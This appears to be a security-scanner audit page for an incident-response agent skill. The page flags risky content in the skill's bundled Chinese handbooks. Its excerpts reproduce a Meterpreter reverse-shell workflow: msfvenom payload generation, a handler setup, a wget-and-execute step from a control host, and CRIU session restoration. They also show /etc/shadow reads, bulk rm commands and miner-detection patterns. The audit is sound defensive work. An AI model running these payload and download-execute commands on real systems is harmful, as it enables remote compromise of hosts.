Back to skill

Security audit

LI Emergency Response MOD

Security checks for vulnerabilities and agentic risk

Overview

The skill is mostly incident-response guidance, but bundled handbooks include executable reverse-shell, C2, and tunneling instructions that need human review before use.

Install only if you are comfortable reviewing and constraining the bundled handbooks. Treat the NOPTrace appendix material as unsafe lab-only content, do not let an agent execute payload-generation, C2, tunnel, deletion, or credential-file commands without explicit human approval, and prefer the safer playbooks and WAL/report scripts for normal incident response.

Vulnerability Patterns
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
Findings (3)

<![CDATA[T03

Note
Location
<![CDATA[NOPTrace-Linux-应急响应手册-整理版.md]]>:5224
Finding

<![CDATA[Linux Meterpreter Payload Generation, Retrieval, Execution, and Session Restoration]]>

Content
View full analysis
shell.elf msfconsole -q > use exploit/multi/handler > set payload linux/x64/meterpreter_reverse_tcp > set lhost 192.168.31.146 > set lport 4444 > set exitonsession false > exploit -j wget http://192.168.31.146/shell.elf chmod +x shell.elf ./shell.elf & sudo criu dump -vvvv -o dump.log -t 1267 \ --shell-job --tcp-established sudo criu restore -vvvv --shell-job --tcp-established ``` ### Technical Analysis The bundled handbook provides an end-to-end procedure for generating a Linux Meterpreter reverse-shell executable, configuring a listener, retrieving the executable over HTTP, granting execute permission, and running it on a victim host. The procedure then uses CRIU with `--tcp-established` to checkpoint and restore the network-connected malicious process. This can revive the reverse-shell session after the original process has been suspended or terminated. These instructions are not required for the Skill's declared incident-response functions. Defensive incident response may require identifying, hashing, quarantining, or safely analyzing such artifacts, but it does not require creating and executing a live Meterpreter payload on a victim system. The content is stored in documentation rather than automatically invoked Python code. Nevertheless, it is directly actionable operational guidance that can lead an agent or user to execute malware. ### Attack Path 1. Generate a Meterpreter ELF payload using `msfvenom`. 2. Start a Metasploit handler on the designated control host. 3. Host the generated executable over HTTP. 4. Download the executable to the target host with `wget`. 5. Grant execution permission using `chmod ...[truncated 752 chars]
Remediation
View remediation

<![CDATA[T04

Note
Location
<![CDATA[NOPTrace-Windows-应急响应手册-整理版.md]]>:10855
Finding

<![CDATA[Windows Meterpreter Service Malware and Reverse-Shell Payload Generation]]>

Content
View full analysis
Remediation
View remediation

<![CDATA[T03

Note
Location
<![CDATA[NOPTrace-Windows-应急响应手册-整理版.md]]>:10777
Finding

<![CDATA[Unverified C2 and Covert-Tunneling Binary Retrieval and Execution]]>

Content
View full analysis
Remediation
View remediation
Vulnerability Patterns
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
  • YARA SignaturesMalware Match, Webshell Match, Cryptominer Match
Findings (206)

YARA rule 'c2_framework_indicators': Command-and-control framework indicators (Cobalt Strike, Metasploit, Sliver, etc.) [malware]

Critical
Category
YARA Match
Confidence
100% confidence
Finding

The document includes direct meterpreter payload creation, listener setup, execution on a target, and shell recovery workflow. In a skill intended for agent use, embedding command-and-control framework instructions is highly dangerous because it enables offensive compromise behavior rather than mere analysis.

Content

Scanner excerpt · NOPTrace-Linux-应急响应手册-整理版.md (reported line 5232)May include surrounding context.

安装成功

测试场景,受害主机某一个进程反弹 msf shell ,现在需要将其转储,在未来的某个时间节点在这台主机上重新让其运行

受害主机 Ubuntu Server 20.04 (192.168.31.16)

控制主机 Kali Linux (192.168.31.146)

控制主机 Kali Linux 生成木马(这里选择的是stegeless的木马,演示起来效果更好)

`msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.31.146 LPORT=4444 -f elf > shell.elf

text

控制主机 Kali Linux 设置监听

 `msfconsole -q
> use exploit/multi/handler
> set payload linux/x64/meterpreter_reverse_tcp
> set lhost 192.168.31.146
> set lport 4444
> set exitonsession false
> exploit -j

受害主机下载木马并执行

`wget http://192.168.31.146/shell.elf chmod +x shell.elf ./shell.elf &

text

反弹木马进程号 1267

控制主机 Kali Linux 接收到返回的shell

新开一个ssh连接,连接被害主机,安装 criu

在受害主机上使�

YARA rule 'c2_framework_indicators': Command-and-control framework indicators (Cobalt Strike, Metasploit, Sliver, etc.) [malware]

Critical
Category
YARA Match
Confidence
95% confidence
Finding

The document references command-and-control frameworks such as Cobalt Strike and Metasploit in the context of tunnel tooling and demonstrations. While discussion of adversary tooling can be legitimate in IR, this skill goes beyond passive mention by tying tools to operational demonstrations, which increases misuse risk in an agent-executable knowledge base.

Content

Scanner excerpt · NOPTrace-Windows-应急响应手册-整理版.md (reported line 2810)May include surrounding context.

或代理的限制,提供一种灵活的方式来传输不同协议的数据。但是请注意,Web隧道可能会面临一些安全和性能方面的考虑,因此在使用时需要进行适当的配置和评估。

2. 常见工具

常见的 DNS 隧道工具

  • dnscat2 已经至少两年没有更新
  • dnscat2 (Powershell 版) 目前已经归档
  • iodine
  • DNS_Tunneling
  • CobaltStrike
  • Metasploit-Framework

DNS 隧道工具演示可以参考知识点附录 -> 0x06 CobaltStrike DNS 隧道演示

2. Netsh

Netsh(Network Shell)是Windows操作系统中一个强大的命令行工具,主要用于配置和管理网络设置。这个工具允许用户通过命令行界面或脚本文件来查看、修改和故障排查各种网络相关的配置

启动网络追踪功能(以管理员权限运行)

`netsh trace start persistent=yes capture=yes tracefile=.\icmp_capture.etl

text

此时开启抓包,配合流量设备,我们觉得抓到了

YARA rule 'crypto_miner_software': References to known cryptocurrency mining software [cryptominers]

High
Category
YARA Match
Confidence
80% confidence
Finding

YARA rule matched cryptocurrency mining indicators (stratum protocol, mining pools, miner binaries, or cryptojacking scripts).

Content

Scanner excerpt · IMPROVEMENT_ROADMAP.md (reported line 180)May include surrounding context.

��和自动化检测。

改进建议

1. 智能事件分类

python
# 建议新增:scripts/classify_incident.py
import re
from typing import List, Tuple

def classify_incident(alert_text: str, logs: List[str]) -> Tuple[str, float]:
    """
    基于告警文本和日志智能判断事件类型
    
    返回:(事件类型, 置信度)
    """
    patterns = {
        "挖矿": [r"xmrig", r"cryptonight", r"矿池"],
        "勒索": [r"\.encrypted", r"勒索信", r"ransomware"],
        "AI投毒": [r"模型异常", r"后门触发", r"模型文件修改"],
        # 更多模式...
    }
    
    for incident_type, pattern_list in patterns.items():
        for pattern in pattern_list:
            if re.search(pattern, alert_text, re.IGNORECASE):
                return incident_type, 0.8
    
    return "未知", 0.0

2. 自动IOC提取

python
# 建议新增:scripts/extract_ioc.py
def extract_ioc_from_text(text: str) -> dict:
    """
    从文本中自动�

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

The document discusses rm behavior in a way that can encourage broader deletion of dotfiles when removing malware. In live response, aggressive deletion patterns can remove hidden but legitimate files, shell state, or evidence.

Content

Scanner excerpt · NOPTrace-Linux-应急响应手册-整理版.md (reported line 135)May include surrounding context.

md
### 0x01 删除文件问题

默认情况下,`rm ./*` 是不会删除以 `.` 开头的文件和文件夹的

所以在删除恶意文件等场景时,需要注意删除方法

Missing User Warnings

High
Category
Not specified by scanner
Confidence
98% confidence
Finding

The document recommends uploading malware samples to third-party cloud analysis services but does not warn that samples may contain proprietary code, customer data, credentials, or regulated information. In enterprise IR, this can create secondary data-exposure, confidentiality, and compliance incidents.

Content

No source excerpt is available for this finding.

Hidden Instructions

High
Category
Prompt Injection
Confidence
60% confidence
Finding

Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.

Content

Scanner excerpt · NOPTrace-Linux-应急响应手册-整理版.md (reported line 281)May include surrounding context.

text
text
 ​

进程组ID & 会话ID  平时我们关注的更多是PID和PPID,对于PGID,SID接触较少,简单介绍一下  使用 `ps -w ajfx` 可以看到具体的PPID、PID、PGID、SID 信息  程序运行起来后,会产生一个主进程,并且分配一个进程ID(pid),如果在运行期间起其他进程,那么这个其他进程就是子进程,同时分配相应的进程ID,并设置其PPID的值为父进程的pid 此时呢,父进程和所有生成的子进程会组合成一个进程组,并且分配一个进程组ID 那什么叫做会话ID,其实也很容易理解,我们通过ssh 链接到服务器,就会获取一个会话,分配一个会话ID,此时我们起的进程的会话ID都是一样的 所以,如果挖矿程序有调用子进程,那么就需要以进程组为单位杀死!

Hidden Instructions

High
Category
Prompt Injection
Confidence
60% confidence
Finding

Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.

Content

Scanner excerpt · NOPTrace-Linux-应急响应手册-整理版.md (reported line 587)May include surrounding context.

text
text
 ​

进程组ID & 会话ID  平时我们关注的更多是PID和PPID,对于PGID,SID接触较少,简单介绍一下  使用 `ps -w ajfx` 可以看到具体的PPID、PID、PGID、SID 信息  程序运行起来后,会产生一个主进程,并且分配一个进程ID(pid),如果在运行期间起其他进程,那么这个其他进程就是子进程,同时分配相应的进程ID,并设置其PPID的值为父进程的pid 此时呢,父进程和所有生成的子进程会组合成一个进程组,并且分配一个进程组ID 那什么叫做会话ID,其实也很容易理解,我们通过ssh 链接到服务器,就会获取一个会话,分配一个会话ID,此时我们起的进程的会话ID都是一样的 所以,如果挖矿程序有调用子进程,那么就需要以进程组为单位杀死!

Hidden Instructions

High
Category
Prompt Injection
Confidence
60% confidence
Finding

Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.

Content

Scanner excerpt · NOPTrace-Linux-应急响应手册-整理版.md (reported line 2136)May include surrounding context.

text
text
 ​

进程组ID & 会话ID  平时我们关注的更多是PID和PPID,对于PGID,SID接触较少,简单介绍一下  使用 `ps -w ajfx` 可以看到具体的PPID、PID、PGID、SID 信息  程序运行起来后,会产生一个主进程,并且分配一个进程ID(pid),如果在运行期间起其他进程,那么这个其他进程就是子进程,同时分配相应的进程ID,并设置其PPID的值为父进程的pid 此时呢,父进程和所有生成的子进程会组合成一个进程组,并且分配一个进程组ID 那什么叫做会话ID,其实也很容易理解,我们通过ssh 链接到服务器,就会获取一个会话,分配一个会话ID,此时我们起的进程的会话ID都是一样的 所以,如果挖矿程序有调用子进程,那么就需要以进程组为单位杀死!

Hidden Instructions

High
Category
Prompt Injection
Confidence
60% confidence
Finding

Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.

Content

Scanner excerpt · NOPTrace-Linux-应急响应手册-整理版.md (reported line 2170)May include surrounding context.

text
text
 ​

进程组ID & 会话ID  平时我们关注的更多是PID和PPID,对于PGID,SID接触较少,简单介绍一下  使用 `ps -w ajfx` 可以看到具体的PPID、PID、PGID、SID 信息  程序运行起来后,会产生一个主进程,并且分配一个进程ID(pid),如果在运行期间起其他进程,那么这个其他进程就是子进程,同时分配相应的进程ID,并设置其PPID的值为父进程的pid 此时呢,父进程和所有生成的子进程会组合成一个进程组,并且分配一个进程组ID 那什么叫做会话ID,其实也很容易理解,我们通过ssh 链接到服务器,就会获取一个会话,分配一个会话ID,此时我们起的进程的会话ID都是一样的 所以,如果挖矿程序有调用子进程,那么就需要以进程组为单位杀死!

Hidden Instructions

High
Category
Prompt Injection
Confidence
60% confidence
Finding

Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.

Content

Scanner excerpt · NOPTrace-Linux-应急响应手册-整理版.md (reported line 2184)May include surrounding context.

text
text
 ​

进程组ID & 会话ID  平时我们关注的更多是PID和PPID,对于PGID,SID接触较少,简单介绍一下  使用 `ps -w ajfx` 可以看到具体的PPID、PID、PGID、SID 信息  程序运行起来后,会产生一个主进程,并且分配一个进程ID(pid),如果在运行期间起其他进程,那么这个其他进程就是子进程,同时分配相应的进程ID,并设置其PPID的值为父进程的pid 此时呢,父进程和所有生成的子进程会组合成一个进程组,并且分配一个进程组ID 那什么叫做会话ID,其实也很容易理解,我们通过ssh 链接到服务器,就会获取一个会话,分配一个会话ID,此时我们起的进程的会话ID都是一样的 所以,如果挖矿程序有调用子进程,那么就需要以进程组为单位杀死!

Hidden Instructions

High
Category
Prompt Injection
Confidence
60% confidence
Finding

Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.

Content

Scanner excerpt · NOPTrace-Linux-应急响应手册-整理版.md (reported line 2188)May include surrounding context.

text
text
 ​

进程组ID & 会话ID  平时我们关注的更多是PID和PPID,对于PGID,SID接触较少,简单介绍一下  使用 `ps -w ajfx` 可以看到具体的PPID、PID、PGID、SID 信息  程序运行起来后,会产生一个主进程,并且分配一个进程ID(pid),如果在运行期间起其他进程,那么这个其他进程就是子进程,同时分配相应的进程ID,并设置其PPID的值为父进程的pid 此时呢,父进程和所有生成的子进程会组合成一个进程组,并且分配一个进程组ID 那什么叫做会话ID,其实也很容易理解,我们通过ssh 链接到服务器,就会获取一个会话,分配一个会话ID,此时我们起的进程的会话ID都是一样的 所以,如果挖矿程序有调用子进程,那么就需要以进程组为单位杀死!

Hidden Instructions

High
Category
Prompt Injection
Confidence
60% confidence
Finding

Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.

Content

Scanner excerpt · NOPTrace-Linux-应急响应手册-整理版.md (reported line 2194)May include surrounding context.

text
text
 ​

进程组ID & 会话ID  平时我们关注的更多是PID和PPID,对于PGID,SID接触较少,简单介绍一下  使用 `ps -w ajfx` 可以看到具体的PPID、PID、PGID、SID 信息  程序运行起来后,会产生一个主进程,并且分配一个进程ID(pid),如果在运行期间起其他进程,那么这个其他进程就是子进程,同时分配相应的进程ID,并设置其PPID的值为父进程的pid 此时呢,父进程和所有生成的子进程会组合成一个进程组,并且分配一个进程组ID 那什么叫做会话ID,其实也很容易理解,我们通过ssh 链接到服务器,就会获取一个会话,分配一个会话ID,此时我们起的进程的会话ID都是一样的 所以,如果挖矿程序有调用子进程,那么就需要以进程组为单位杀死!

Hidden Instructions

High
Category
Prompt Injection
Confidence
60% confidence
Finding

Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.

Content

Scanner excerpt · NOPTrace-Linux-应急响应手册-整理版.md (reported line 7834)May include surrounding context.

text
text
 ​

进程组ID & 会话ID  平时我们关注的更多是PID和PPID,对于PGID,SID接触较少,简单介绍一下  使用 `ps -w ajfx` 可以看到具体的PPID、PID、PGID、SID 信息  程序运行起来后,会产生一个主进程,并且分配一个进程ID(pid),如果在运行期间起其他进程,那么这个其他进程就是子进程,同时分配相应的进程ID,并设置其PPID的值为父进程的pid 此时呢,父进程和所有生成的子进程会组合成一个进程组,并且分配一个进程组ID 那什么叫做会话ID,其实也很容易理解,我们通过ssh 链接到服务器,就会获取一个会话,分配一个会话ID,此时我们起的进程的会话ID都是一样的 所以,如果挖矿程序有调用子进程,那么就需要以进程组为单位杀死!

Hidden Instructions

High
Category
Prompt Injection
Confidence
60% confidence
Finding

Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.

Content

Scanner excerpt · NOPTrace-Linux-应急响应手册-整理版.md (reported line 7872)May include surrounding context.

text
text
 ​

进程组ID & 会话ID  平时我们关注的更多是PID和PPID,对于PGID,SID接触较少,简单介绍一下  使用 `ps -w ajfx` 可以看到具体的PPID、PID、PGID、SID 信息  程序运行起来后,会产生一个主进程,并且分配一个进程ID(pid),如果在运行期间起其他进程,那么这个其他进程就是子进程,同时分配相应的进程ID,并设置其PPID的值为父进程的pid 此时呢,父进程和所有生成的子进程会组合成一个进程组,并且分配一个进程组ID 那什么叫做会话ID,其实也很容易理解,我们通过ssh 链接到服务器,就会获取一个会话,分配一个会话ID,此时我们起的进程的会话ID都是一样的 所以,如果挖矿程序有调用子进程,那么就需要以进程组为单位杀死!

Hidden Instructions

High
Category
Prompt Injection
Confidence
60% confidence
Finding

Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.

Content

Scanner excerpt · NOPTrace-Linux-应急响应手册-整理版.md (reported line 7894)May include surrounding context.

text
text
 ​

进程组ID & 会话ID  平时我们关注的更多是PID和PPID,对于PGID,SID接触较少,简单介绍一下  使用 `ps -w ajfx` 可以看到具体的PPID、PID、PGID、SID 信息  程序运行起来后,会产生一个主进程,并且分配一个进程ID(pid),如果在运行期间起其他进程,那么这个其他进程就是子进程,同时分配相应的进程ID,并设置其PPID的值为父进程的pid 此时呢,父进程和所有生成的子进程会组合成一个进程组,并且分配一个进程组ID 那什么叫做会话ID,其实也很容易理解,我们通过ssh 链接到服务器,就会获取一个会话,分配一个会话ID,此时我们起的进程的会话ID都是一样的 所以,如果挖矿程序有调用子进程,那么就需要以进程组为单位杀死!

Hidden Instructions

High
Category
Prompt Injection
Confidence
60% confidence
Finding

Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.

Content

Scanner excerpt · NOPTrace-Linux-应急响应手册-整理版.md (reported line 7898)May include surrounding context.

text
text
 ​

进程组ID & 会话ID  平时我们关注的更多是PID和PPID,对于PGID,SID接触较少,简单介绍一下  使用 `ps -w ajfx` 可以看到具体的PPID、PID、PGID、SID 信息  程序运行起来后,会产生一个主进程,并且分配一个进程ID(pid),如果在运行期间起其他进程,那么这个其他进程就是子进程,同时分配相应的进程ID,并设置其PPID的值为父进程的pid 此时呢,父进程和所有生成的子进程会组合成一个进程组,并且分配一个进程组ID 那什么叫做会话ID,其实也很容易理解,我们通过ssh 链接到服务器,就会获取一个会话,分配一个会话ID,此时我们起的进程的会话ID都是一样的 所以,如果挖矿程序有调用子进程,那么就需要以进程组为单位杀死!

Hidden Instructions

High
Category
Prompt Injection
Confidence
60% confidence
Finding

Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.

Content

Scanner excerpt · NOPTrace-Linux-应急响应手册-整理版.md (reported line 7904)May include surrounding context.

text
text
 ​

进程组ID & 会话ID  平时我们关注的更多是PID和PPID,对于PGID,SID接触较少,简单介绍一下  使用 `ps -w ajfx` 可以看到具体的PPID、PID、PGID、SID 信息  程序运行起来后,会产生一个主进程,并且分配一个进程ID(pid),如果在运行期间起其他进程,那么这个其他进程就是子进程,同时分配相应的进程ID,并设置其PPID的值为父进程的pid 此时呢,父进程和所有生成的子进程会组合成一个进程组,并且分配一个进程组ID 那什么叫做会话ID,其实也很容易理解,我们通过ssh 链接到服务器,就会获取一个会话,分配一个会话ID,此时我们起的进程的会话ID都是一样的 所以,如果挖矿程序有调用子进程,那么就需要以进程组为单位杀死!

Hidden Instructions

High
Category
Prompt Injection
Confidence
60% confidence
Finding

Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.

Content

Scanner excerpt · NOPTrace-Windows-应急响应手册-整理版.md (reported line 5080)May include surrounding context.

text
text
 ​

进程组ID & 会话ID  平时我们关注的更多是PID和PPID,对于PGID,SID接触较少,简单介绍一下  使用 `ps -w ajfx` 可以看到具体的PPID、PID、PGID、SID 信息  程序运行起来后,会产生一个主进程,并且分配一个进程ID(pid),如果在运行期间起其他进程,那么这个其他进程就是子进程,同时分配相应的进程ID,并设置其PPID的值为父进程的pid 此时呢,父进程和所有生成的子进程会组合成一个进程组,并且分配一个进程组ID 那什么叫做会话ID,其实也很容易理解,我们通过ssh 链接到服务器,就会获取一个会话,分配一个会话ID,此时我们起的进程的会话ID都是一样的 所以,如果挖矿程序有调用子进程,那么就需要以进程组为单位杀死!

YARA rule 'agent_skill_mcp_tool_poisoning_metadata': MCP/tool metadata poisoning indicators in tool schemas or skill manifests [agent_skills]

High
Category
YARA Match
Confidence
80% confidence
Finding

YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Content

Scanner excerpt · NOPTrace-Linux-应急响应手册-整理版.md (reported line 281)May include surrounding context.

进程起子进程,需要使用如下命令 - kill -9 -pid 这里pid前有个减号,表示杀掉这个进程组

> 需要注意的是, kill -9 -PGID配合sudo` 使用时,需要将命令修改为以下格式

bash
sudo kill -9 -- -PGID

也可以使用 pkill 来完成

bash
sudo pkill -g PGID   # 进程组前没有横杠
text
 ​

进程组ID & 会话ID  平时我们关注的更多是PID和PPID,对于PGID,SID接触较少,简单介绍一下  使用 `ps -w ajfx` 可以看到具体的PPID、PID、PGID、SID 信息  程序运行起来后,会产生一个主进程,并且分配一个进程ID(pid),如果在运行期间起其他进程,那么这个其他进程就是子进程,同时分配相应的进程ID,并设置其PPID的值为父进程的pid 此时呢,父进程和所有生成的子进程会组合成一个进程组,并且分配一个进程组ID 那什么叫做会话ID,其实也很容易理解�

Chaining Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Piping find output into xargs rm -f is unsafe around unexpected filenames and promotes bulk deletion patterns during incident response. It can delete more than intended and reduce recoverability or evidentiary value.

Content

Scanner excerpt · NOPTrace-Linux-应急响应手册-整理版.md (reported line 333)May include surrounding context.

md
- `find ./ -inum 12327526 -exec rm {} \;`
 - `find ./* -inum 12327526 -exec rm -i {} \;` (会有一步确认是否删除)
 - `find ./* -inum 12327526 -exec rm -f {} \;`(不进行确认直接强制删除)
 - `find ./* -inum 12327526 |xargs rm -f`
 - `rm `find ./* -inum 12327526`` 参考文章 https://www.cnblogs.com/starry-skys/p/12970463.html https://www.cnblogs.com/tssc/p/7574432.html

 - 目录挂载导致无法删除

Chaining Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

This is the same unsafe bulk-deletion pattern repeated in another section. It carries the same risk of unintended deletions and evidence destruction.

Content

Scanner excerpt · NOPTrace-Linux-应急响应手册-整理版.md (reported line 584)May include surrounding context.

md
- `find ./ -inum 12327526 -exec rm {} \;`
 - `find ./* -inum 12327526 -exec rm -i {} \;` (会有一步确认是否删除)
 - `find ./* -inum 12327526 -exec rm -f {} \;`(不进行确认直接强制删除)
 - `find ./* -inum 12327526 |xargs rm -f`
 - `rm `find ./* -inum 12327526`` 参考文章 https://www.cnblogs.com/starry-skys/p/12970463.html https://www.cnblogs.com/tssc/p/7574432.html

 ​

Credential Access

High
Category
Privilege Escalation
Confidence
89% confidence
Finding

Accessing /etc/shadow is inherently sensitive because it exposes password-hash data that can enable offline cracking or broader credential compromise if copied or leaked. The context is defensive, but the absence of handling restrictions makes the guidance more dangerous.

Content

Scanner excerpt · NOPTrace-Linux-应急响应手册-整理版.md (reported line 842)May include surrounding context.

md
- 查找特殊权限账号,默认root      `awk -F: '{if($3==0) print $1}' /etc/passwd`

 - 查找可以登录 ssh 的账号      `s=$( sudo cat /etc/shadow | grep '^[^:]*:[^\*!]' | awk -F: '{print $1}');for i in $s;do cat /etc/passwd | grep -v  "/bin/false\|/nologin"| grep $i;done | sort | uniq |awk -F: '{print $1}'`

 - 查看正在连接的ssh sessions

Credential Access

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

Accessing /etc/shadow is inherently sensitive because it exposes password-hash data that can enable offline cracking or broader credential compromise if copied or leaked. The context is defensive, but the absence of handling restrictions makes the guidance more dangerous.

Content

Scanner excerpt · NOPTrace-Linux-应急响应手册-整理版.md (reported line 842)May include surrounding context.

md
- 查找特殊权限账号,默认root      `awk -F: '{if($3==0) print $1}' /etc/passwd`

 - 查找可以登录 ssh 的账号      `s=$( sudo cat /etc/shadow | grep '^[^:]*:[^\*!]' | awk -F: '{print $1}');for i in $s;do cat /etc/passwd | grep -v  "/bin/false\|/nologin"| grep $i;done | sort | uniq |awk -F: '{print $1}'`

 - 查看正在连接的ssh sessions

Chaining Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

This repeated use of find piped to xargs rm encourages brittle destructive automation against files identified by inode. The technique may be valid, but the presentation lacks safeguards.

Content

Scanner excerpt · NOPTrace-Linux-应急响应手册-整理版.md (reported line 1524)May include surrounding context.

md
- `find ./ -inum 12327526 -exec rm {} \;`
 - `find ./* -inum 12327526 -exec rm -i {} \;` (会有一步确认是否删除)
 - `find ./* -inum 12327526 -exec rm -f {} \;`(不进行确认直接强制删除)
 - `find ./* -inum 12327526 |xargs rm -f`
 - `rm `find ./* -inum 12327526``

 参考文章 https://www.cnblogs.com/starry-skys/p/12970463.html https://www.cnblogs.com/tssc/p/7574432.html

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
86% confidence
Finding

This chained packaging command ends by recursively deleting the temporary collection directory. While intended cleanup is benign, compact one-liners with destructive steps are error-prone and difficult to audit, especially when variables or paths change.

Content

Scanner excerpt · NOPTrace-Linux-应急响应手册-整理版.md (reported line 1622)May include surrounding context.

【Ubuntu】

mkdir package_details; dpkg -L <package-name> | xargs -I ford sh -c 'if [ -f ford ]; then cp ford ./package_details/ ; echo "md5sum fordford" ;fi' > package_details/md5.txt; tar -cvf package_details_date +%s`.tar ./package_details; rm -r ./package_details

text